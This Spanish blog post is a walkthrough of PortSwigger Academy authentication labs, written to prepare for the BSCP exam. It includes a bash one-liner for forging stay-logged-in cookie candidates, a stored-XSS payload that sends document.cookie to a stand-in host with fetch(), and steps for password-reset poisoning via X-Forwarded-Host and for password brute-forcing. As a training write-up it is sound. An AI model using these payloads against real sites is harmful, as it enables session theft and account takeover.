¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a otros métodos de autenticación. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
Como nota inicial, hay que decir que a lo largo de mi experiencia profesional, de nuevo, he visto bastantes vulnerabilidades como las aquí mostradas. Hay que poner especial cuidado en todo lo que tiene que ver con gestión de la autenticación en aplicaciones web, sin olvidar funcionalidades como los típicos «Keep me signed in» o los reseteos de contraseña.
Lab10 (Practicioner) – Brute-forcing a stay-logged-in cookie
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, brute-force Carlos’s cookie to gain access to his My account page.». En este laboratorio, lo que tenemos es una vulnerabilidad en la forma en que la aplicación mantiene la sesión de los usuarios. Lo que haremos será visualizar cómo funciona este proceso y explotarlo para obtener acceso a otras cuentas de usuario.
Lo primero de todo, lo que haremos es iniciar sesión con las credenciales «wiener:peter» con la opción de «mantener sesión iniciada» y revisar si existe alguna cookie o algo novedoso:

Como se puede ver, aparece una cookie «stay-logged-in». Además, en la sección derecha de Burp Suite Professional vemos una autodecodificación de dicha cookie en la que podemos observar cómo parece estar compuesta por el nombre de usuario y el hash MD5 de la contraseña. Confirmamos este hecho de modo que ya sabemos cómo se construye la cookie: <usuario:passwordmd5hash>.
Por tanto, podemos construir un diccionario de posibles valores de la cookie para el usuario «carlos». Lo que haremos será coger un diccionario de contraseñas, convertirlas a MD5 y añadirlas en el formato de la cookie. Finalmente, lo codificaremos en Base64 para obtener los potenciales valores de la cookie. Para todo ello, se puede usar el siguiente oneliner en bash, provisto el archivo «passwords.txt» con las contraseñas candidatas.
while read -r line; do echo -n "carlos:$(echo -n "$line" | md5sum | awk '{print $1}')" | base64; done < passwords.txt

Con estos valores potenciales, el siguiente paso será lanzar un ataque en Intruder que pruebe todos y cada uno de ellos. Para este ataque, tomaremos como objetivo el recurso «/my-account» y buscaremos aquella respuesta que NO nos redirija al login, ya que será la respuesta cuya cookie «stay-logged-in» sea correcta. No se explica la configuración de Intruder ya que es un ataque «Snipper list» sencillo (si tienes dudas, revisa la entrada de los laboratorios de autenticación password-based en este blog).

Finalmente, para resolver el laboratorio utilizaremos un truco que nos permite Burp Suite Professional. Haremos botón derecho en la petición adecuada, seleccionaremos «Request in browser» y «In original session». Burp Suite Professional nos proporcionará una URL para pegar en nuestro navegador que reproduce la petición y respuesta seleccionada. Como se puede ver, nos da el laboratorio por resuelto (fíjate en la URL).

Lab11 (Practicioner) – Offline password cracking
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, obtain Carlos’s stay-logged-in
cookie and use it to crack his password. Then, log in as carlos
and delete his account from the «My account» page.». En este laboratorio, en primer lugar, tenemos una vulnerabilidad de Cross-Site Scripting (XSS). Aunque se revisarán los XSS en otros posts, se debe recalcar que esta vulnerabilidad permite ejecutar código Javascript en el contexto del navegador cliente. Esto es, ejecutar Javascript arbitrario en el navegador de los usuarios que acceden a la aplicación. Usaremos el XSS para obtener la cookie del usuario «carlos» y posteriormente crackear su contraseña, sabiendo que se usan hashes MD5. Finalmente, accederemos como «carlos» y borraremos su cuenta de usuario.
Lo primero de todo, sería confirmar el XSS almacenado en los comentarios el blog. Para ello, basta con incluir un comentario con el siguiente mensaje y comprobar cómo al cargar de nuevo la web, se produce un «alert»:
<script>alert(1)</script>


Sabiendo que ahora cualquier usuario que visite el post inyectado ejecutará el código Javascript, podemos cambiar el código inyectado por el siguiente snippet de Javascript que se encargará de obtener las cookies (siempre y cuando no tengan el flag HttpOnly activo) de la aplicación, las codificará en Base64 y hará una petición a otro servidor indicando como valor de un parámetro aleatorio la secuencia en Base64 obtenida anteriormente. Es decir, exfiltraremos las cookies hacia un servidor controlado por el atacante.
<script>
// 1. Get cookies
const cookies = document.cookie; // Format: key1=value1; key2=value2
// 2. Encode cookies to Base64
const base64Cookies = btoa(cookies);
// 3. Define the endpoint (replace with your actual URL)
const endpoint = `https://example.com/endpoint?cookie=${encodeURIComponent(base64Cookies)}`;
// 4. Make HTTP GET request
fetch(endpoint)
.then(response => {
if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`);
return response.text(); // or response.json() depending on your API
})
.then(data => {
console.log("Response from server:", data);
})
.catch(error => {
console.error("Request failed:", error);
});
<script>
Pero, para que todo sea más compacto, usaremos un oneliner:
<script>fetch(`https://example.com/endpoint?cookie=${encodeURIComponent(btoa(document.cookie))}`).then(r => r.text()).then(console.log).catch(console.error);</script>
Ahora, debemos ir al «Exploit server» para forjar una URL válida a la que el usuario se conectará (será la URL que incluyamos en la función «fetch» del snippet anterior. En este caso, basta con levantar un endpoint llamado por ejemplo «retrieve» que simplemente devuelva un 200 OK. Le damos a «Store» e inyectamos el comentario en el blog:


Una vez posteado el comentario, accedemos a los «access logs» del servidor y podemos observar la petición enviada por el usuario «carlos», que accedió al post autenticado en la web. Vemos cómo los datos se exfiltran en Base64 pero son fácilmente decodificables, hasta obtener el valor de la cookie «stay-logged-in».

Valor exfiltrado:
c2VjcmV0PWpOYVlEcXoyQ0hSWmlRWEtkR0YyYWwxcmNjcnVRbTVEOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
Valor decodificado:
secret=jNaYDqz2CHRZiQXKdGF2al1rccruQm5D; stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
Valor cookie:
carlos:26323c16d5f4dabff3bb136f2460a943
Ahora, finalmente, tenemos el hash MD5 de la contraseña de «carlos». Usando un servicio online podemos recuperarlo y, simplemente iniciando sesión y borrando la cuenta del usuario «carlos»… ¡¡Laboratorio resuelto!!

Lab12 (Apprentice) – Password reset broken logic
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, reset Carlos’s password then log in and access his «My account» page.». En este laboratorio, lo primero que haremos será evaluar el flujo de recuperación de contraseñas con el usuario «wiener». Una vez sabemos cómo funciona, podemos hacernos a la idea de que cambiando el nombre de usuario en la petición POST enviada para resetear la contraseña podemos hacerlo para otros usuarios.
Tal como se indica, lo primero es pedir un cambio de contraseña para el usuario «wiener». Simplemente usando la aplicación podemos hacerlo de forma intuitiva. Esto generará un correo que podemos visualizar en el cliente de correo que nos proporciona PortSwigger en el cual se incluye una URL de reseteo con la siguiente apariencia:
https://0aea0017042b820c8145fcb900be00bb.web-security-academy.net/forgot-password?temp-forgot-password-token=mdlv8e0xplr84749tzkx8xojrdv7jrcx
De manera normal, un usuario hará click en la URL y se le pedirá en ella la nueva contraseña, así como una confirmación. Esto genera una petición POST que se puede visualizar en Burp Suite Professional. Fíjate cómo se incluye en esa petición un campo «username» que indica el usuario para el cual se resetea la contraseña:

Ahora, podemos tratar de cambiar el valor del campo «username» por «carlos» para ver si se le resetea la contraseña a dicho usuario. Dado que el formulario inicial a priori debería de estar expirado por haber sido utilizado, lanzaremos un nuevo proceso de recuperación de contraseña. Haremos click, incluiremos la nueva contraseña y en este punto interceptamos la petición con el nuevo token para cambiar el nombre de usuario de «wiener» a «carlos»:

Se lanza la petición y como vemos, nos devuelve un código 302. Esto indica que aparentemente la contraseña del usuario «carlos» se reseteó. Para comprobarlo, inicia sesión como «carlos» con la nueva contraseña y… Voilà! Laboratorio resuelto.
Lab13 (Practicioner) – Password reset poisoning via middleware
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in to Carlos’s account.». En este laboratorio, explotaremos un «Host-Header Attack» (se añadirán entradas a este respecto más adelante) y, posteriormente, se robará el token de reseteo de contraseña del usuario «carlos», permitiéndonos cambiar su contraseña y acceder a su cuenta.
El primer paso, como siempre en vulnerabilidades de reseteo de contraseña, es entender el flujo implicado. En este caso, como vemos, cada vez que generamos una petición de cambio de contraseña se lanza una petición POST en la que se incluye el nombre de usuario cuya contraseña se desea cambiar:

Asimismo, el usuario recibiría en este caso un link para resetar la contraseña (resaltado en la imagen siguiente (fíjate cómo a priori el link es del mismo dominio del que se pide el reseteo):

En estos entornos de resteo de contraseña, siempre es conveniente probar ataques de poisoning como el Host-Header Attack. Este ataque consiste básicamente en cambiar la cabecera «Host» o alguna de sus sucedáneas como «X-Forwarded-Host» para ver si el servidor o alguno de los sistemas intermedios (proxies, middleware) se basa en estas cabeceras para construir enlaces. En este caso, fíjate cómo al añadir la cabecera «X-Forwarded-Host» con el valor de nombre de dominio asignado a nuestro Exploit Server, el enlace recibido por el usuario apunta ahora hacia ese dominio. Es decir, conseguimos controlar hacia dónde apunta el enlace de reseteo de contraseña, pudiendo apuntarlo a un dominio controlado por el atacante:


Por tanto, lo que haremos será hostear en nuestro «Exploit Server» el recurso «/forgot-password» porque es donde apunta el enlace de redirección que enviaremos a «carlos». Finalmente, lanzamos una petición como la anteriormente mostrada, con el Host-Header Attack pero dirigida al usuario «carlos» para que le llegue a su bandeja de entrada:


Ahora, dado que el usuario «carlos» hace clicks en todos los enlaces que llegan a su correo, vemos que se produce un acceso a nuestro servidor, filtrando su token de reseteo de contraseña:

Ahora de manera muy sencilla, forzaremos un reseteo de contraseña como «wiener», accederemos al enlace pero en el momento de cambiar la contraseña interceptamos la petición e incluimos el token y la información del usuario «carlos»:

Finalmente, como le hemos cambiado la contraseña al usuario «carlos» podemos acceder a su panel personal, resolviendo así el laboratorio.
Lab14 (Practicioner) – Password brute-force via password change
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his «My account» page.». En este laboratorio, explotaremos la funcionalidad de cambio de contraseña dentro de la web para usuarios autenticados para hacer fuerza bruta sobre las contraseñas de otros usuarios.
En primer lugar, iniciamos sesión como «wiener» y navegamos a la funcionalidad de cambio de contraseña, lanzando un cambio normal para evaluar el flujo.

Tal como vemos, si se cambia la contraseña se produce una petición donde se indica el nombre de usuario, la contraseña antigua y la nueva. Además de lo anterior, vamos a evaluar qué sucede cuando la aplicación recibe entradas inesperadas. En este caso, vamos a meter una contraseña actual «mala» y dos contraseñas nuevas que no coinciden:

Para poder explotar esto, lo que haremos será intentar cambiar la contraseña del usuario «carlos» y evaluar el mensaje devuelto. Para ello, es muy importante que sigas el mismo patrón que en el caso anterior, incluyendo «carlos» como usuario, una contraseña actual errónea y dos contraseñas nuevas no coincidentes. Lanzaremos, eso sí, un ataque de Burp Intruder a ver si alguna contraseña es la «buena» y el mensaje cambia:

Parece que, al usar una de las contraseñas, el mensaje es diferente. De hecho, echando un vistazo en la respuesta, vemos que el mensaje es «New passwords do not match», lo cual es esperable porque estamos utilizando dos contraseñas que no coinciden. Sin embargo, esta sutil diferencia nos permite deducir la contraseña de «carlos». Para resolver este último laboratorio, simplemente inicia sesión con esta contraseña enumerada y lo tendrás hecho.
~km0xu95